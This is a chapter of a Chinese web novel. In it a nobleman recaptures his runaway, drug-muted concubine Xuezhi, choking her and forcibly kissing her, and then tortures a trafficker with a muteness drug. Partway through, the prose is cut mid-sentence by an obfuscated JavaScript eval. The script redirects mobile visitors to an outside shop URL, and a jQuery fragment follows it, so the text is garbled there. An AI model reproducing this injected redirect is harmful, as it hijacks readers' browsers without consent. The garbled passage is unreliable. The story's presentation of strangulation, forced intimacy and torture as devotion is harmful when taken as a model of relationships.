崔濯不费多少功夫,就锁定了雪枝的位置。
他很快抵达了雪枝下榻的客栈,但他并没有自己出面,而是指挥褚墨带领家丁包围了客栈。
他在赌。
他在赌如果雪枝看到褚墨,自己走出来坦诚自己的身份,随着褚墨回国公府,那他会既往不咎,不管雪枝是怎么从国公府里跑出去的,无论她做了什么,他都可以既往不咎。
但如果她没有出现......
崔濯耐着性子等了许久,等到褚墨按照计划撤出了客栈,雪枝都没有出现。
崔濯躲在暗处窥伺着,盯着每一个从客栈走出来的人影。
他既期盼着雪枝能从那个大门里走出来,又害怕她从那个大门走出来。
等到雪枝终于出现的时候,他的目光如同磁石碰上铁石,紧紧地被她吸引着。
看着她往和他相反的方向越来越远,崔濯的脸色越来越难看,他再也忍不住,从阴影里走出来。
护卫们瞬间包围了雪枝,将她的来路去路全部堵死,到头来,她就只能往他身边走来,除了他身边,她无处可去。
雪枝看着他的眼神充满了惊惧,那些缱绻的依赖和爱慕,全都消失了,只剩下害怕。
为什么呢?为什么要怕他?
崔濯心中的戾气无法抑制地上涌,恶意和欲念如同魔鬼藤般紧紧缠绕在他的心间,要将雪枝牢牢锁在身边的念头如同毒素一般迅速蔓延到全身上下每一片皮肤中,让他欲罢不能。
即便隔着数丈的距离,雪枝依然能感受到崔濯的怒气。
她下意识地后退一般,却仿佛进一步激怒了崔濯,下一瞬,那个数丈开外的人影直接冲到她面前,掐住了她的脖颈,令她刹那间近乎窒息。
火光照亮了崔濯的半张脸,忽明忽暗让他的表情看起来愈发沉郁。
崔濯感受着手掌下颤栗的皮肤、跳动的血管,让他兴奋,想要牢牢掌控手下这人所有的一切,让她无法离开他,不能离开他。
崔濯微微松开寸许,略带薄茧的拇指摩挲着雪枝细嫩的颈部皮肤,语气轻得如同情人低语:“爷的雪枝,这是要往哪里去呢,嗯?”
雪枝心脏跳地超出了阈值,浑身颤抖着,生怕一不小心惹崔濯不高兴,他会直接下手掐死她。
可是她哑药未解,根本说不出话来,只能撇过脸去,不敢看崔濯一眼。
然而就这一点小动作,崔濯便以为雪枝连看他一眼都不愿意,脸色登时变得阴沉,如同暴风雨来临前的海面。
“你想去亳州,怎么不等爷一起去呢?”崔濯掐住她的下颌,强行将她的脸掰回来,让她的眼睛只能看向自己。
崔濯看着雪枝惨白的脸色,轻笑一声:“还是说,你想去毫州?”
“毫州”两个字一出,雪枝原本就苍白的脸色变得面如死灰,原来崔濯早就知道她要逃去毫州之事,她早就暴露得彻底。
雪枝知道自己完了,逃跑之事被崔濯揭破,她彻底没有了离开晋国公府的希望。
雪枝期盼了这么多年的自由泡汤了,不由得悲从中来,眼泪如断线的风筝般簌簌往下掉,雨点般砸在崔濯的手背上。
崔濯只觉得手背上一片灼热,烫得仿佛要把他灼伤。
崔濯不知为何,竟不忍再对她说一句重话。
他几不可闻地叹了口气,伸手揩掉雪枝眼角的泪,声音也放缓了:“哭什么?”
“跟爷回去,爷便既往不咎。”
回晋国公府?
不,她绝不能回去!
雪枝蓦地挥开崔濯的手,迅速后退几步,和崔濯拉开距离,随即转身就跑,不给崔濯一点反应的时间。
她不能这么坐以待毙,她要再搏一把!
崔濯看着悬在半空的空荡荡的手,眼眸半垂,声音冷冽道:“拦住她。”
崔濯一声令下,训练有素的家丁顿时如同一堵人墙般直接挡在雪枝面前。
插翅难逃。
雪枝忽地被拦腰抱起,禁锢在崔濯怀中。
雪枝奋力挣扎着,伏在崔濯肩膀上结结实实咬了他一口,可崔濯却不为所动,手臂坚硬如铁地把她牢牢按住。
下一刻,雪枝便被丢进马车里,双手按在车厢板上,硬邦邦的胸膛直接将雪枝压在车厢窄小的角落里,随即冰凉的唇覆了上来,将雪枝的唇吞没。
强悍霸道的气息如疾风骤雨般直接灌进雪枝的喉腔,将她的呼吸尽数夺去。
雪枝承受不住,难耐地扭开脸,想要喘一口气,谁知当即被拉了回去,密密麻麻的吻落在她的唇瓣、下颌、脖颈上。
脖颈上蓦地一疼,似乎有什么温热的液体流了出来,雪枝缩了缩脖子,却被崔濯卡着下巴抬了起来。
崔濯的吻轻柔地落在她的伤口上,慢慢地舔舐着雪枝雪白的脖颈上渗出来的一滴血珠。
等到崔濯起身,唇瓣间沾着殷红的血迹,眼睛盯着雪枝,眼底的情绪浓得如同化不开的浓墨,勾唇一笑,仿佛暗夜里吸人精魄的艳鬼。
雪枝胸膛剧烈起伏,看着崔濯这幅颠倒众生的妖冶模样,眼皮一跳。
崔濯凑近了,嗅着雪枝颈边的香气,半是警告半是安抚道:“雪枝,爷的耐心是有限的,别和爷闹了,你不喜欢有主母在头上顶着,爷可以晚一些再娶妻,等到你接受了再说。”
“日后,你一心一意地服侍爷,爷便当做今夜之事没有发生过,还同从前一般待你。”
雪枝低着头不肯应答。
崔濯被她这幅倔强的模样气笑了,强硬地将她搂在怀里,像是抚摸一只脾气甚大的猫儿摸着她的头发,“这么大的人了,还这般耍小孩子脾气......”
崔濯的手指碰到雪枝的额头,瞬间脸色一变,“你的身体怎么了?怎么这么烫?”
雪枝呼吸渐渐变得粗重,身体支应不住,没有力气推开崔濯,眼皮耷拉着,沉重得像是有千百斤石头在压着似的,抬不起来。
“雪枝,雪枝!”崔濯眼中划过一抹慌乱,“你看着我,先别睡。”
“褚墨,即刻回府!”
踢踏的马蹄声刺破暗夜,直奔晋国公府而去。
崔濯吩咐褚墨将府医请来,一路抱着雪枝回到西厢房。
雪枝双眸紧闭,眉头紧紧皱在一起,整个人烧得双颊通红,人事不省。
崔濯的心都提了起来,握住雪枝的手,轻声安抚道:“别怕,别怕,我在这里。”
“府医呢,怎么回不来?!”
府医姗姗来迟,要行礼却被崔濯叫起来,“不用这些虚礼,快来看看她。”
府医不敢怠慢,连忙起身给雪枝诊脉。
崔濯心急如焚地盯着雪枝,等到府医诊完脉,急切地追问:“她怎么样了?”
府医皱眉道:“回世子爷,姑娘体内被下了一种哑毒,暂时口不能言,加之心悸受惊,乃是内外并发之症,我给姑娘开几服药,好好静养一段时日。”
崔濯眯起眼睛,“被灌了哑药?”
府医点头道:“此药异常凶猛,虽不致命,但见效极快,服药者很快便失去了说话的能力,并且此药中还含有蒙汗药的成分,对身体损害极大,姑娘身体虚弱,若不能好好修养,根除药效,日后恐有损伤。”
崔濯心中已是怒海翻腾,面上还是保持着平静道:“请府医开药吧,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244782|197835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无论如何名贵的药材,都无所谓,只要保证她身体康复便是。”
府医躬身称是,退出门去开药了。
崔濯目光复杂地盯着雪枝,低声呢喃道:“现在知道,离开爷,外头有多危险了吧?乖乖待在爷身边,爷能护你一生平安。”
雪枝睡得极不安慰,似乎在呓语着什么,但崔濯听不真切,只能抱着她,拍着她的肩膀,陪着她坐到天明。
碧霞和巧云被褚墨找了回来,崔濯亲自给雪枝喂了药,将雪枝交给她们照顾。
“你们主子身体虚弱,你们要小心伺候,若是被我发现她有半点不好,你们的脑袋,可就不是你们自己的了。”崔濯神情淡淡道。
碧霞二人不明白为何才一日,雪枝便成了这般模样,连声称是。
崔濯敲打了二人一番,到正房换上官服径直往刑部大牢去。
昨日拘捕的少女拐卖案的犯人都被关在刑部大牢内,崔濯命人直接将四名贼首绑在刑架上,目光一一扫过被吊起来的四人,蓦地勾唇而笑。
“四位都是做这行的翘楚了,我也不废话,就问一句,是谁向你们定的‘货’?”
崔濯生得温文尔雅,不疯的时候,看起来就像是个文弱书生,并没有什么威胁,但谁要是真小看了他,只怕连怎么死的都不知道。
痦子男性格冲动,登时就往地上吐了口唾沫:“我呸,姓崔的,你也配知道我们的客人是谁?也不撒泡尿照照自己的样子,小白脸!”
崔濯被痦子男骂了也不生气,手指轻轻敲着桌案,语气平稳地说:“你们不说,我也知道,你们的客人,是胡人,对吗?”
痦子男瞬间瞪大眼睛,即便不说话,看这反应,崔濯也知道得八九不离十。
痦子男意识到自己露馅了,气急败坏地否认:“不是胡人,没这回事儿!”
刀疤男连忙喝止他:“老四!”
刀疤男直直望着崔濯,道:“崔子湛,今日是我们棋差一着,被你抓了,我们认命,要杀要剐,悉听尊便,但做我们这行的,最重要的就是信誉,你想知道客人的信息,绝不可能!”
刀疤男倒是有骨气得多,闭上眼睛抬起脖子,一幅引颈就戮的模样。
崔濯拍了拍手,“好一个悉听尊便。”
“只不过,我要你们的命做什么?”崔濯喊了一声:“来人,把我准备的礼物送给四爷。”
狱卒立即端上一碗黑乎乎的汤药,走到痦子男身边,捏住他的喉咙,二话不说直接灌进他的嘴里。
痦子男呸了好几下,扯着嗓子干呕,但是汤药已经下肚,根本吐不出来。
他怨毒地盯着崔濯:“姓崔的,你给老子喝了什么?!”
崔濯微微一笑,慢条斯理理着官袍的袖口,“还能是什么,当然是四爷你最喜欢的东西,不过一碗哑药,还请四爷笑纳。”
痦子男的脸涨得通红,很快便说不出话来,只能发出“嗬”、“嗬”的声音。
崔濯满意地笑了笑,“日后,狱卒每日都会伺候四爷喝一碗汤药,直到四爷的喉咙,再也说不出话来,而后溃烂不止,被这牢房里的老鼠日夜啃咬,想必这滋味,应当不错吧?”
刀疤男听得目眦欲裂,“崔濯!杀人不过头点地,你何必如此折磨他?!”
崔濯嘴角的笑容慢慢收敛了,目光沉沉地看着刀疤男:“是啊,杀人不过头点地,你们既然敢这么对我的人,那就别怪我,以其人之道还治其人之身了。”
崔濯也没看刑架上扭成蛆的痦子男,径直甩袖而去。
“崔濯!你心狠手辣,不得好死!”
崔濯恍若未闻,乘着马车狂奔回晋国公府。